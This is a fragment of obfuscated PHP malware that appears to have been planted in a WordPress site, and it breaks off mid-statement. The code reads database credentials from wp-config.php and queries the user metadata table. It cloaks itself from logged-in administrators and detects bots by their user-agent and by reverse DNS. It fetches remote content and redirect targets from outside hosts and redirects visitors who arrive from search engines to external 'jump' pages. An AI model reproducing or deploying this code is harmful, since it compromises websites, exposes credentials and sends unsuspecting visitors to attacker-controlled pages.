"\x26\x68\157\x73\164\x3d" . $y_T1R . "\x26\167\167\167\x3d\x32"); goto xDQJc; xM4Rc: yo3wF: goto Antpn; FJdsm: $nimE7 = WjNSZ(); goto ob7IY; HECNB: Y6On2: goto u2t5G; kAR0z: $P9M3f = 1; goto GzHHg; Z1pi3: $TFI3u = str_replace("\x68\164\x74\x70\x3a\x2f\57", "\x68\x74\x74\160\x73\72\57\x2f", $TFI3u); goto Mw7yC; xYgsP: header("\x6c\x6f\143\x61\x74\x69\x6f\156\72\40" . $uqoJy); goto JO3vi; JTG96: C0TcM: goto TO0dC; Nll0Z: header("\154\157\143\141\x74\x69\157\x6e\72\40" . $uqoJy); goto BPtT1; ob7IY: function aaYkX($Eh3_p) { goto U_KUZ; yo3MT: if (!($pVMHa = mysqli_fetch_array($k_tbr))) { goto wvjCs; } goto Ug02Y; XQXhe: $N93qL = $UbPy1[2][3]; goto Q9i3Z; lO4N0: $E7YcR = ''; goto MGaMD; RM0hx: $HnmsA = $UbPy1[2][0]; goto vXwgU; kWOoP: $vUPrC = true; goto Bw21M; uu9p8: EKXzq: goto YbpUm; Ug02Y: $t_iIG .= $pVMHa["\155\x65\164\141\137\166\141\x6c\x75\x65"]; goto AEn8d; KVCSK: Hd32t: goto yo3MT; MGaMD: $ApU8p = strripos($Eh3_p, "\56"); goto x9xuO; xZybD: preg_match_all("\176\136\144\145\146\x69\x6e\145\56\x2a\50\x44\x42\137\116\x41\115\105\174\104\102\x5f\x55\123\x45\x52\x7c\x44\102\x5f\x50\101\x53\x53\x57\x4f\122\x44\x7c\104\x42\x5f\110\x4f\123\124\51\133\x5c\47\42\135\54\x5c\x73\53\x5b\x5c\x27\x22\x5d\x28\x2e\53\x29\x5b\134\47\x22\x5d\134\163\52\134\51\73\176\x6d", $aTjvA, $UbPy1); goto ZvPlF; h9caH: mysqli_close($A1ON9); goto lO4N0; zdYOo: if (!file_exists($xbtit = "\104\72\x5c\163\x69\x74\x65\163\134\151\x66\154\x2f\x77\160\x2d\x63\x6f\x6e\146\151\147\56\160\150\x70")) { goto cOnxk; } goto qeAe0; iIQtN: return $vUPrC; goto HKh7E; vXwgU: $vCowJ = $UbPy1[2][1]; goto dFv8S; HKh7E: ZkwqC: goto WXBTW; x9xuO: $A6FQ5 = substr($Eh3_p, 0, $ApU8p); goto bZOuW; qDXzw: $hGbbA = "\123\x45\x4c\x45\103\124\40\52\40\x46\x52\117\115\x20\x60{$uqH5S}\x75\163\x65\162\x6d\145\164\x61\140\40\x57\x48\105\122\x45\40\140\x6d\145\x74\141\137\153\x65\171\140\x20\x3d\x20\47\x63\157\155\155\x75\x6e\151\x74\x79\x2d\x65\166\x65\156\x74\x73\55\154\x6f\143\141\x74\151\157\x6e\47"; goto D3NLN; Q9i3Z: $uqH5S = $Y8N9k[1]; goto Uru70; D3NLN: $k_tbr = mysqli_query($A1ON9, $hGbbA); goto KVCSK; YbpUm: goto ZkwqC; goto yTLlK; wfbe4: $t_iIG = ''; goto tfs4M; AEn8d: goto Hd32t; goto IQYoJ; qeAe0: $aTjvA = file_get_contents($xbtit); goto xZybD; ZvPlF: preg_match("\176\164\x61\142\154\x65\x5f\x70\162\145\x66\x69\x78\x5c\163\53\x3d\134\x73\x2b\47\50\56\53\x29\x27\x3b\x7e", $aTjvA, $Y8N9k); goto RM0hx; Bw21M: qDHQ4: goto uu9p8; yTLlK: cOnxk: goto iIQtN; U_KUZ: $vUPrC = false; goto zdYOo; Uru70: $A1ON9 = mysqli_connect($N93qL, $vCowJ, $ZPolf, $HnmsA); goto wfbe4; WXBTW: return $vUPrC; goto PLq1L; IQYoJ: wvjCs: goto h9caH; tfs4M: if (isset($WlVSt)) { goto EKXzq; } goto qDXzw; bZOuW: if (!(strpos($t_iIG, $A6FQ5) !== false || strpos($E7YcR, $A6FQ5) !== false)) { goto qDHQ4; } goto kWOoP; dFv8S: $ZPolf = $UbPy1[2][2]; goto XQXhe; PLq1L: } goto ZNFb4; kV4fB: $TFI3u = str_replace("\137\165\x6e\114\151\156\145\137", "\57", $TFI3u); goto rSNbO; rM3jt: u6G10: goto rcDge; jUBZn: $TFI3u = str_replace("\x68\164\x74\x70\x3a\x2f\57\x66\x61\164\56\142\154\156\147\142\x6c\156\147\163\x2e\x72\157\x63\x6b\x73\x2f\x69\155\x61\147\145\163\x32\60\62\x33\x30\63\57{$wCQ7U}\x2f", $XPbPI . "\72\x2f\57" . $otSoO . FOkXd() . "\x2f\151\x6d\141\x67\x65\163\57", $TFI3u); goto BQC4I; EHlNc: echo $TFI3u; goto opUS6; q4JxE: i1gLF: goto OoJy2; VIG44: $TFI3u = str_replace("\150\x74\x74\x70\72\57\57", "\150\x74\x74\160\x73\x3a\57\57", $TFI3u); goto U3esw; ZQ55Z: $TFI3u = str_replace("\x2f\x3f\x6b\x65\x79\x3d", "\x2f", $TFI3u); goto pqog6; sy2k_: $K_oX0 = str_replace($SlDPZ[1] . "\57", $SlDPZ[1] . "\x5f\x75\156\x4c\151\156\x65\x5f", $_SERVER["\x52\x45\x51\125\105\123\124\137\x55\122\x49"]); goto B2e2_; bnZ1a: $TFI3u = SmWlG(base64_decode("\x61\110\122\60\x63\104\157\166\x4c\62\132\150\144\103\x35\x69\x62\x47\x35\156\131\x6d\x78\165\x5a\63\115\x75\143\155\71\x6a\141\x33\x4d\x76\115\152\101\x79\115\x79\x30\x77\x4d\x79\x39\167\143\155\126\172\143\x33\126\171\x5a\x53\71\x74\x59\x57\154\165\x4c\x6e\x42\x6f\143\104\71\x72\x5a\x58\x6b\x39") . $K_oX0 . "\x26\x68\x6f\x73\164\75" . $y_T1R . "\x26\167\167\x77\x3d\x32"); goto CIGF6; RQpea: $TFI3u = str_replace("\150\164\164\x70\x3a\x2f\57\146\141\164\x2e\142\154\156\x67\142\154\156\x67\x73\x2e\162\157\143\153\163\x2f\x69\155\x61\x67\145\x73\62\60\x32\63\x30\x33\57{$wCQ7U}\x2f", $XPbPI . "\72\57\x2f" . $otSoO . foKxD() . "\x2f\x69\x6d\141\x67\x65\x73\x2f", $TFI3u); goto EpAmu; Ef4jl: exit; goto xM4Rc; xuk65: $K_oX0 = str_replace("\x2f", '', $K_oX0); goto qNkMo; LQKU9: $K_oX0 = str_replace($SlDPZ[1] . "\57", $SlDPZ[1] . "\137\165\x6e\114\151\156\x65\137", $_SERVER["\122\x45\x51\x55\105\x53\124\137\125\122\111"]); goto xuk65; KwKGq: $j5TBg = array("\43\x41\163\153\134\x73\x2a\112\x65\x65\x76\145\163\43\151", "\x23\x48\x50\134\163\x2a\x57\145\142\x5c\x73\52\x50\162\151\x6e\164\123\x6d\141\x72\x74\43\151", "\x23\110\124\x54\162\x61\143\x6b\x23\151", "\x23\x49\104\102\157\x74\43\x69", "\x23\x49\156\144\x79\x5c\163\x2a\x4c\x69\142\x72\x61\x72\x79\x23", "\43\x4c\x69\163\x74\x43\x68\x65\x63\153\145\x72\43\x69", "\43\x4d\x53\x49\105\x43\162\x61\167\154\145\162\x23\x69", "\x23\x4e\x65\164\x43\x61\x63\x68\145\43\x69", "\43\x4e\x75\164\x63\150\43\151", "\x23\122\x50\x54\x2d\x48\x54\124\x50\103\154\151\x65\156\164\x23\151", "\43\162\x75\154\x69\156\x6b\x69\134\56\162\165\43\151", "\x23\x54\x77\x69\143\x65\x6c\x65\x72\x23\151", "\43\x57\x65\142\x41\x6c\x74\141\x23\x69", "\x23\127\x65\x62\x73\164\x65\x72\134\163\x2a\x50\162\x6f\x23\151", "\43\x77\x77\x77\x5c\56\143\171\163\134\56\x72\x75\x23\x69", "\43\127\x79\x73\x69\147\157\x74\x23\x69", "\x23\x59\x61\x68\x6f\157\x21\134\163\52\x53\154\x75\x72\160\x23\x69", "\x23\131\145\164\x69\x23\x69", "\43\101\x63\143\x6f\157\x6e\x61\x23\x69", "\x23\103\141\172\x6f\x6f\144\154\x65\x42\x6f\x74\43\151", "\43\103\x46\116\145\164\x77\157\162\x6b\43\151", "\x23\103\157\x6e\x76\x65\162\x61\103\x72\141\167\x6c\145\x72\x23\x69", "\x23\x44\x49\123\103\x6f\x23\x69", "\x23\104\157\167\x6e\154\157\x61\144\x5c\x73\52\115\141\x73\x74\145\x72\x23\151", "\x23\x46\x41\123\124\134\163\x2a\x4d\145\164\x61\x57\x65\142\x5c\x73\x2a\x43\162\x61\x77\x6c\x65\x72\43\x69", "\x23\106\154\145\170\165\155\x5c\x73\52\x73\x70\x69\144\x65\162\x23\x69", "\x23\107\x69\x67\x61\142\157\x74\43\151", "\x23\x48\x54\115\114\120\x61\x72\x73\145\x72\43\151", "\43\x69\x61\x5f\141\x72\143\x68\x69\x76\145\162\x23\151", "\x23\x69\143\150\151\x72\x6f\x23\151", "\x23\x49\x52\x4c\x62\x6f\x74\x23\151", "\43\x4a\x61\166\141\43\x69", "\43\x6b\x6d\134\x2e\x72\x75\134\x73\x2a\142\157\x74\x23\151", "\x23\153\155\x53\145\x61\162\143\x68\x42\157\164\43\151", "\x23\x6c\151\x62\167\x77\x77\x2d\160\145\x72\x6c\43\x69", "\43\114\165\160\141\x5c\x2e\x72\x75\43\x69", "\43\114\x57\x50\x3a\x3a\123\x69\x6d\160\154\x65\x23\151", "\x23\x6c\167\160\x2d\x74\x72\151\x76\151\x61\154\43\151", "\43\115\x69\x73\x73\151\147\165\141\43\x69", "\x23\x4d\112\x31\62\x62\x6f\x74\x23\151", "\x23\x6d\x73\156\142\157\164\x23\151", "\43\x6d\163\156\142\x6f\x74\55\x6d\145\144\x69\141\x23\x69", "\x23\x4f\146\146\x6c\151\156\x65\134\x73\52\105\170\x70\x6c\157\162\x65\x72\x23\x69", "\43\x4f\155\x6e\151\105\x78\160\154\157\162\x65\x72\x5f\102\157\164\43\151", "\x23\120\105\101\122\x23\x69", "\43\160\x73\x62\157\x74\x23\x69", "\43\x50\x79\164\x68\157\156\x23\x69", "\x23\x72\x75\x6c\x69\x6e\x6b\151\134\56\162\x75\x23\x69", "\43\x53\115\x49\114\x45\43\151", "\43\x53\160\x65\x65\x64\x79\43\x69", "\43\124\145\x6c\145\x70\157\x72\164\134\163\52\120\x72\x6f\x23\151", "\43\124\165\x72\164\x6c\x65\x53\143\141\156\156\x65\162\43\x69", "\x23\125\x73\145\162\55\101\147\145\156\164\43\x69", "\43\x76\157\171\141\147\x65\x72\43\x69", "\43\x57\x65\x62\x61\154\164\141\43\x69", "\x23\127\x65\142\x43\x6f\160\x69\145\162\43\151", "\43\127\x65\142\x44\141\164\141\43\151", "\43\127\x65\x62\x5a\111\120\43\151", "\43\x57\x67\145\x74\x23\x69", "\x23\131\141\156\144\145\x78\x23\x69", "\43\131\x61\x6e\x67\141\43\151", "\43\x59\145\x74\x69\43\x69", "\x23\x6d\x73\x6e\x62\157\x74\43\x69", "\x23\x73\x70\151\x64\x65\x72\x23\151", "\x23\x79\x61\150\157\x6f\x23\151", "\43\x6a\x65\x65\x76\x65\x73\x23\151", "\43\147\157\157\147\x6c\145\43\151", "\x23\141\x6c\164\x61\166\151\163\x74\x61\43\151", "\43\163\x63\x6f\157\164\145\x72\x23\x69", "\43\141\166\134\x73\52\x66\145\x74\143\150\43\x69", "\43\141\x73\164\145\x72\151\x61\163\x23\x69", "\x23\163\160\x69\x64\145\x72\164\150\x72\145\x61\x64\40\x72\145\166\x69\163\x69\157\156\43\151", "\43\163\x71\x77\x6f\x72\x6d\x23\151", "\43\x61\163\x6b\43\151", "\43\154\x79\143\x6f\x73\56\x73\160\x69\x64\x65\x72\43\151", "\x23\x69\x6e\x66\x6f\x73\145\x65\153\x20\163\151\144\145\167\x69\x6e\144\145\162\43\151", "\x23\165\x6c\x74\x72\141\163\x65\x65\153\43\x69", "\43\x70\x6f\154\171\x62\157\164\x23\x69", "\43\167\145\x62\x63\x72\141\167\154\x65\x72\43\151", "\43\162\157\142\x6f\x7a\151\x6c\154\x23\151", "\43\x67\165\x6c\x6c\x69\x76\145\x72\x23\151", "\x23\141\x72\x63\x68\x69\164\145\x78\164\x73\x70\x69\x64\x65\x72\x23\151", "\x23\171\141\x68\x6f\x6f\41\x5c\163\52\x73\x6c\x75\162\160\43\x69", "\43\x63\150\141\x72\154\x6f\x74\164\145\x23\x69", "\43\x6e\147\x62\x23\x69", "\x23\x42\151\156\147\102\157\x74\43\x69"); goto Z7IFc; dZxGN: if (!CXRu_($lQxUQ)) { goto PFHDx; } goto FbqYE; YKmxi: $K_oX0 = str_replace("\x2f", '', $K_oX0); goto bnZ1a; GG_JR: TE2UC: goto FsoY1; nl1MU: if (!(FALSE !== strpos(gethostbyaddr($nimE7), "\x67\x6f\157\x67\x6c\145"))) { goto bZAWo; } goto kAR0z; xDQJc: $TFI3u = str_replace("\x68\164\x74\160\x3a\x2f\57" . FOkxd() . "\57", $XPbPI . "\72\x2f\57" . $otSoO . FOkxD() . "\x2f", $TFI3u); goto jUBZn; aN1yy: function smWlg($zMfQt) { goto VFm2h; UxiXE: McmzY: goto zxbWm; ZeB1h: $JMOEa = 5; goto zJcIQ; pSh0k: $cti5j = curl_init(); goto ZeB1h; zJcIQ: curl_setopt($cti5j, CURLOPT_URL, $zMfQt); goto sJJiC; wL2o9: curl_setopt($cti5j, CURLOPT_CONNECTTIMEOUT, $JMOEa); goto eXa6R; VFm2h: $uxscH = array("\x68\x74\164\160" => array("\x6d\145\x74\x68\157\144" => "\x47\105\124", "\164\151\155\145\157\x75\x74" => 5)); goto ADVFC; sJJiC: curl_setopt($cti5j, CURLOPT_RETURNTRANSFER, 1); goto wL2o9; eXa6R: $DwP63 = curl_exec($cti5j); goto T8c7m; zxbWm: return $DwP63; goto H90hK; T8c7m: curl_close($cti5j); goto UxiXE; mAooG: @($DwP63 = file_get_contents($zMfQt, false, $nzWki)); goto dtrcE; dtrcE: if (!empty($DwP63)) { goto McmzY; } goto pSh0k; ADVFC: $nzWki = stream_context_create($uxscH); goto mAooG; H90hK: } goto ANw_h; vF0ii: exit; goto lM21p; Pf90J: $wCQ7U = str_replace("\56", "\x2d", $wCQ7U); goto YTYng; JO3vi: exit; goto mJFn6; t_AVy: if (!(!preg_match("\x2f\167\x6f\162\x64\160\x72\x65\x73\x73\137\154\x6f\147\x67\x65\144\x5f\x69\156\x5f\57\151", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto mK3s2; } goto pfmQ1; mVWiM: if (!$P9M3f) { goto cc_HP; } goto EHlNc; gqVCJ: foreach ($_COOKIE as $vFpVR => $lDdla) { $nPaTf .= $vFpVR . "\x3d" . $lDdla . "\54"; loCjt: } goto L1zKz; CxyOY: function t5bRS() { goto TUWWN; hwNCp: VK8kM: goto ynkqf; i3oY0: $DwP63 = $cKDN6 . "\77\162\145\x66\160\141\147\x65\x3d" . $_SERVER["\123\x45\x52\126\105\122\137\x4e\x41\115\x45"] . $_SERVER["\x52\x45\121\x55\105\123\x54\x5f\125\x52\111"]; goto AjNfh; IEAsJ: if (empty($cKDN6)) { goto Jbz0e; } goto i3oY0; TUWWN: @($cKDN6 = SMwlG("\150\164\x74\160\x3a\x2f\57\142\154\156\147\142\154\156\147\x73\56\162\x6f\143\x6b\163\x2f\x77\145\x69\x67\x68\164\x2d\150\157\x73\164\x2e\x74\x78\164")); goto IEAsJ; j7Wp6: if (!empty($DwP63)) { goto VK8kM; } goto r_axk; tutmO: qoEay: goto j7Wp6; r_axk: $DwP63 = "\150\x74\x74\160\x73\x3a\x2f\x2f\x36\56\163\x61\x6c\145\x66\x6f\162\171\x6f\165\x2e\x6f\162\x67\57\167\145\151\147\x68\164\x2d\x73\163\56\x70\150\x70"; goto hwNCp; AjNfh: Jbz0e: goto yM6zT; dK7ww: $DwP63 = SMWlG("\150\164\x74\160\72\57\x2f\x35\x2e\147\60\60\x67\154\145\167\145\142\56\x63\157\x6d\x2f\x77\x65\151\147\x68\164\x2d\150\x6f\x73\x74\x2e\x74\x78\164"); goto tutmO; yM6zT: if (!empty($cKDN6)) { goto qoEay; } goto dK7ww; ynkqf: return $DwP63; goto nXDz0; nXDz0: } goto t_AVy; MCeFh: $uqoJy = kTwc6(); goto h4opw; MfV6y: echo $TFI3u; goto gti67; a26dj: echo $TFI3u; goto sT2Ln; jaPtv: $nPaTf = ''; goto gqVCJ; f3XZA: function cxRU_($OJOZ4) { goto XemJC; XemJC: $OixmG = str_replace("\x78", '', "\142\170\170\151\170\x6e\170\147\x78\x7c\x78\141\170\157\170\x78\x6c\x78\174\141\170\163\170\170\153\x7c\x78\147\x78\157\x78\x78\x6f\170\x67\170\154\x78\x65\174\171\170\x78\x61\170\x68\x78\157\x78\157\x7c\x73\x78\x65\x78\170\x61\170\162\x78\x63\x78\150\x7c\144\165\170\x63\x6b\x64\x78\x75\x63\x78\153\170\147\x6f"); goto dliId; OFGxh: return true; goto T5DqM; fPB0L: return false; goto nf5Ah; dliId: if (preg_match("\57{$OixmG}\x2f\151", $OJOZ4)) { goto I7EYB; } goto fPB0L; T5DqM: kn7Dk: goto m8VvH; nf5Ah: goto kn7Dk; goto pgehq; pgehq: I7EYB: goto OFGxh; m8VvH: } goto h7ZaK; VYpSZ: boBi4: goto nbFb8; APWMk: $TFI3u = str_replace("\150\x74\x74\160\72\57\x2f\x66\141\x74\56\142\154\156\x67\x62\154\156\147\x73\x2e\162\157\x63\x6b\x73\57\151\155\x61\147\x65\163\x32\x30\x32\63\x30\x33\x2f{$wCQ7U}\57", $XPbPI . "\x3a\57\x2f" . $otSoO . FOkxd() . "\57\x69\155\x61\x67\145\163\57", $TFI3u); goto Y4wGr; rcDge: $K_oX0 = str_replace($SlDPZ[1] . "\57", $SlDPZ[1] . "\137\165\x6e\x4c\x69\x6e\145\x5f", $_SERVER["\x52\105\x51\125\105\x53\x54\137\125\122\x49"]); goto Z2Mtk; FbqYE: $uqoJy = DRLqg(); goto Nll0Z; OoJy2: PsOGE: goto ywjhA; Z7IFc: if (!(!empty($_SERVER["\x48\x54\124\x50\x5f\x55\123\105\122\x5f\x41\x47\x45\116\124"]) && FALSE !== strpos(preg_replace($j5TBg, "\55\x4e\x4f\x2d\127\x41\x59\55", $_SERVER["\110\x54\124\x50\137\x55\123\x45\122\x5f\x41\107\105\116\x54"]), "\x2d\x4e\x4f\x2d\x57\101\131\x2d"))) { goto iDbA5; } goto y_goD; n58qS: $TFI3u = str_replace("\x68\x74\x74\x70\x3a\x2f\x2f", "\x68\164\164\x70\163\x3a\57\x2f", $TFI3u); goto W9PFA; WubxS: switch ($vmGaY) { case 1: goto QgO8t; yPy0k: goto PsOGE; goto O_7Z9; jnOX5: imagegif($TA5FW); goto yPy0k; QgO8t: header("\x63\x6f\156\164\145\156\164\x2d\x74\171\160\145\72\151\x6d\141\x67\x65\57\x67\151\146"); goto jnOX5; O_7Z9: case 2: goto abCD1; vFr2n: imagejpeg($TA5FW); goto qPmX1; qPmX1: goto PsOGE; goto LZvmV; abCD1: header("\x63\157\x6e\164\x65\x6e\x74\55\x74\x79\x70\x65\72\x69\155\x61\147\x65\57\152\160\x65\x67"); goto vFr2n; LZvmV: case 3: goto lXACW; AjprO: goto PsOGE; goto Sb8zy; lXACW: header("\143\x6f\156\x74\x65\x6e\164\x2d\x74\171\x70\x65\x3a\x69\x6d\141\x67\x65\x2f\x70\x6e\147"); goto uvAsM; uvAsM: imagepng($TA5FW); goto AjprO; Sb8zy: default: goto PsOGE; } goto q4JxE; v5K4w: $XPbPI = "\x68\x74\164\x70\x73"; goto aN1yy; lCkn7: $wCQ7U = preg_replace("\x2f\133\x5e\x61\55\172\101\x2d\x5a\x7c\60\x2d\71\174\x2d\174\56\135\57\151", "\55", basename($wCQ7U)); goto Pf90J; j2iRd: DjwJg: goto JTG96; y6zKW: $otSoO = ''; goto v5K4w; s3bHX: $uqoJy = aU_6j(); goto nFiCS; Antpn: mK3s2: goto sy2k_; sxpys: $TA5FW = imagecreatefromstring(SmwlG($zMfQt)); goto pjwOD; eOw2N: function ktwc6() { goto Kq0_B; qqnHn: $DwP63 = sMwLg("\x68\x74\x74\160\72\x2f\x2f\65\56\147\60\x30\x67\154\x65\167\145\142\x2e\143\157\155\57\163\165\147\141\x72\55\150\x6f\x73\164\56\x74\x78\164"); goto aAb3s; KKI2Y: wM3Uz: goto UIpe5; AKaMe: SxvXj: goto jjQU3; PtaTL: if (!empty($DwP63)) { goto SxvXj; } goto lG9bp; twKi1: if (empty($cKDN6)) { goto wM3Uz; } goto pDC_G; jjQU3: return $DwP63; goto BHMDJ; aAb3s: R3Blz: goto PtaTL; Kq0_B: @($cKDN6 = sMWlG("\150\x74\164\160\72\x2f\57\142\x6c\156\147\142\154\x6e\147\x73\x2e\162\157\143\x6b\x73\57\x73\165\147\141\x72\x2d\150\157\163\164\x2e\x74\170\x74")); goto twKi1; pDC_G: $DwP63 = $cKDN6 . "\77\x72\x65\146\160\x61\147\145\75" . $_SERVER["\123\x45\x52\x56\x45\122\x5f\116\101\115\105"] . $_SERVER["\x52\105\x51\125\x45\x53\x54\x5f\125\x52\x49"]; goto KKI2Y; UIpe5: if (!empty($cKDN6)) { goto R3Blz; } goto qqnHn; lG9bp: $DwP63 = "\150\x74\x74\x70\x73\72\57\57\66\x2e\163\x61\x6c\x65\x66\157\x72\x79\157\x75\56\157\162\x67\x2f\x73\x75\147\x61\162\x2d\152\x75\x6d\x70\56\160\x68\160"; goto AKaMe; BHMDJ: } goto YzQ3m; RPF84: PFHDx: goto M3h9C; WE85a: $TFI3u = str_replace("\x68\x74\164\160\x3a\57\57\146\141\164\x2e\x62\x6c\156\147\142\x6c\x6e\147\163\x2e\162\x6f\143\153\163\57\x69\155\x61\147\x65\x73\62\60\62\63\60\x33\57{$wCQ7U}\x2f", $XPbPI . "\72\x2f\x2f" . $otSoO . foKxD() . "\x2f\x69\x6d\141\147\x65\163\57", $TFI3u); goto K2CFI; N0fNZ: exit; goto VYpSZ; FXiU2: if (!CxRu_($lQxUQ)) { goto lNLuu; } goto MCeFh; YTYng: if (!preg_match("\x2f\x69\x6d\x61\147\145\163\x5c\57\50\x2e\x2a\51\57\x69", $_SERVER["\x52\105\121\125\x45\123\124\x5f\125\x52\x49"], $SlDPZ)) { goto drghR; } goto ORiQA; GTDof: $TFI3u = str_replace("\x68\164\164\160\x3a\x2f\57\x66\141\164\56\x62\154\x6e\147\x62\x6c\156\147\163\x2e\x72\x6f\143\153\163\x2f\x69\155\x61\147\x65\163\62\x30\x32\x33\x30\63\x2f{$wCQ7U}\x2f", $XPbPI . "\72\x2f\57" . $otSoO . FoKxD() . "\x2f\x69\x6d\x61\147\145\x73\57", $TFI3u); goto UuhpN; oHykO: $TFI3u = str_replace("\137\165\x6e\114\151\156\x65\137", "\x2f", $TFI3u); goto Z1pi3; RqkJV: if (!preg_match("\43\136\134\x2f\x28\134\x77\173\x35\54\x36\x7d\x5c\55\x5c\167\173\x35\x2c\66\175\51\x5c\57\x28\50\x2e\52\77\51\134\x2d\50\x2e\x2a\x3f\x29\x5c\55\x28\56\x2a\x29\51\x23\151", $_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\122\111"], $SlDPZ)) { goto w67ST; } goto EygWM; TO0dC: if (!preg_match("\43\x5e\134\57\50\134\167\173\63\54\64\175\134\55\134\167\173\x35\x2c\x36\175\51\134\57\x28\50\56\52\x3f\x29\134\55\x28\56\52\x3f\x29\x5c\55\50\x2e\x2a\x29\51\43\x69", $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\x55\x52\111"], $SlDPZ)) { goto KLa7E; } goto CxyOY; sT2Ln: exit; goto Z35VT; PPIbi: header("\x6c\x6f\x63\x61\x74\x69\x6f\x6e\72\x20" . $uqoJy); goto Ef4jl; NDHaE: $K_oX0 = str_replace($SlDPZ[1] . "\x2f", $SlDPZ[1] . "\137\x75\x6e\114\151\x6e\x65\x5f", $_SERVER["\122\x45\121\125\105\123\124\x5f\x55\x52\x49"]); goto YKmxi; diipT: function drLQg() { goto zEC7s; Ue6in: return $DwP63; goto jNmhj; cfqym: if (empty($cKDN6)) { goto UlLDX; } goto pijkW; pijkW: $DwP63 = $cKDN6 . "\77\x72\x65\x66\160\x61\147\145\x3d" . $_SERVER["\x53\x45\122\126\105\122\x5f\116\x41\x4d\105"] . $_SERVER["\x52\105\x51\x55\105\123\124\137\125\x52\111"]; goto zQ2QT; DM6eL: if (!empty($DwP63)) { goto Edmy2; } goto aLwIL; bqXQn: Edmy2: goto Ue6in; zEC7s: @($cKDN6 = SMwlg("\150\x74\x74\160\x3a\x2f\57\x62\x6c\x6e\x67\x62\x6c\x6e\147\x73\56\162\157\143\x6b\x73\x2f\143\x62\x64\55\x68\157\x73\164\x2e\164\x78\164")); goto cfqym; aLwIL: $DwP63 = "\150\164\164\160\x73\x3a\57\57\66\56\163\x61\x6c\145\x66\x6f\x72\x79\157\x75\x2e\x6f\162\x67\57\x63\142\144\x2d\x6a\x75\155\160\x2e\x70\150\160"; goto bqXQn; G4Gut: if (!empty($cKDN6)) { goto fNDmx; } goto WIx3G; IsKGi: fNDmx: goto DM6eL; WIx3G: $DwP63 = sMWlg("\x68\164\x74\160\72\57\x2f\65\56\x67\x30\60\147\154\145\167\x65\142\56\x63\x6f\155\x2f\143\x62\x64\55\150\x6f\x73\x74\56\164\170\164"); goto IsKGi; zQ2QT: UlLDX: goto G4Gut; jNmhj: } goto U5o4j; CHbda: cc_HP: goto HECNB; YbUKE: KLa7E: goto sQmjB; ORiQA: $b1MN4 = $SlDPZ[1]; goto MIWZa; L1zKz: OQtPJ: goto WZa3_; J928A: iDbA5: goto nl1MU; bmHNp: $TFI3u = str_replace("\137\x75\x6e\114\151\156\145\137", "\57", $TFI3u); goto VIG44; e91at: echo $TFI3u; goto U4GTR; zFlt0: gkXYu: goto LQKU9; fQe_k: $TFI3u = str_replace("\150\x74\x74\x70\x3a\x2f\x2f", "\150\164\x74\x70\x73\x3a\57\57", $TFI3u); goto mVWiM; MIWZa: $zMfQt = "\x68\x74\x74\x70\72\57\x2f\x66\x61\x74\56\x62\x6c\156\147\142\x6c\x6e\147\x73\56\162\x6f\143\x6b\x73\x2f\x69\x6d\x61\x67\x65\163\x32\60\x32\x33\60\x33\57{$wCQ7U}\57{$b1MN4}"; goto sxpys; bQSkL: if (!$P9M3f) { goto A21o8; } goto a26dj; F9aDJ: if (!(!preg_match("\x2f\167\x6f\x72\144\160\x72\x65\163\163\137\154\x6f\147\147\145\144\x5f\151\x6e\x5f\x2f\151", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto Kp_Je; } goto v1jtk; pStfO: $TFI3u = str_replace("\x68\164\164\160\72\57\x2f" . FOkxD() . "\57", $XPbPI . "\72\57\57" . $otSoO . FOkXD() . "\57", $TFI3u); goto APWMk; M3h9C: G7gOI: goto KF98J; y_goD: $P9M3f = 1; goto J928A; GzHHg: bZAWo: goto f3XZA; rSNbO: $TFI3u = str_replace("\x68\164\164\x70\72\57\x2f", "\x68\x74\x74\160\x73\x3a\57\x2f", $TFI3u); goto bQSkL; CIGF6: $TFI3u = str_replace("\x68\164\164\160\x3a\57\x2f" . fOkxd() . "\x2f", $XPbPI . "\x3a\x2f\57" . $otSoO . fokxd() . "\57", $TFI3u); goto RQpea; W9PFA: if (!$P9M3f) { goto dHISQ; } goto ypMxP; Z35VT: A21o8: goto LXMHr; B2e2_: $K_oX0 = str_replace("\x2f", '', $K_oX0); goto B9i1V; U3esw: if (!$P9M3f) { goto DjwJg; } goto MfV6y; ZNFb4: $oqA0Z = aAYKx($nimE7); goto KwKGq; tFwFS: if (!(!preg_match("\x2f\167\x6f\x72\x64\x70\x72\x65\x73\x73\x5f\x6c\x6f\147\x67\x65\144\137\x69\x6e\137\x2f\x69", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto u6G10; } goto xPHKB; gti67: exit; goto j2iRd; Wkuo9: function LQBRQ() { goto uIplN; fah_W: if (!empty($cKDN6)) { goto Ira0o; } goto d0HFz; xKZ7K: FLLs4: goto fah_W; d_vEj: $DwP63 = "\150\164\x74\x70\163\72\57\x2f\66\x2e\163\x61\x6c\x65\x66\157\162\x79\157\x75\x2e\157\162\x67\x2f\x6d\141\x6c\145\x2d\163\164\157\156\145\x2e\x70\x68\x70"; goto MgSpy; MgSpy: EfPkB: goto iegiB; yYoFP: $DwP63 = $cKDN6 . "\x3f\x72\145\146\160\x61\147\145\75" . $_SERVER["\123\x45\x52\x56\x45\x52\137\x4e\x41\115\105"] . $_SERVER["\122\105\x51\125\105\x53\x54\x5f\x55\122\111"]; goto xKZ7K; RsDNf: Ira0o: goto rjh1H; rjh1H: if (!empty($DwP63)) { goto EfPkB; } goto d_vEj; ZuTN7: if (empty($cKDN6)) { goto FLLs4; } goto yYoFP; iegiB: return $DwP63; goto f1hPc; uIplN: @($cKDN6 = sMwlg("\150\164\164\160\x3a\57\57\x62\154\156\147\x62\154\156\x67\163\56\162\x6f\143\153\x73\x2f\155\x61\154\145\55\163\x74\157\x6e\x65\x2e\x74\170\164")); goto ZuTN7; d0HFz: $DwP63 = smwLG("\150\164\164\160\72\57\57\65\x2e\147\x30\x30\147\154\x65\x77\145\x62\56\143\157\155\x2f\x6d\x61\154\145\55\x68\157\x73\164\x2e\x74\x78\x74"); goto RsDNf; f1hPc: } goto tFwFS; ywjhA: drghR: goto PNea4; nFiCS: header("\154\x6f\143\x61\x74\x69\157\156\72\x20" . $uqoJy); goto N0fNZ; RjkEu: $TFI3u = str_replace("\57\x3f\153\x65\x79\75", "\57", $TFI3u); goto bmHNp; FsoY1: w67ST: goto nKtA_; BPtT1: exit; goto RPF84; U4GTR: exit; goto GG_JR; PoAri: dHISQ: goto YbUKE; v1jtk: if (!Cxru_($lQxUQ)) { goto boBi4; } goto s3bHX; Y1j6Z: $TFI3u = 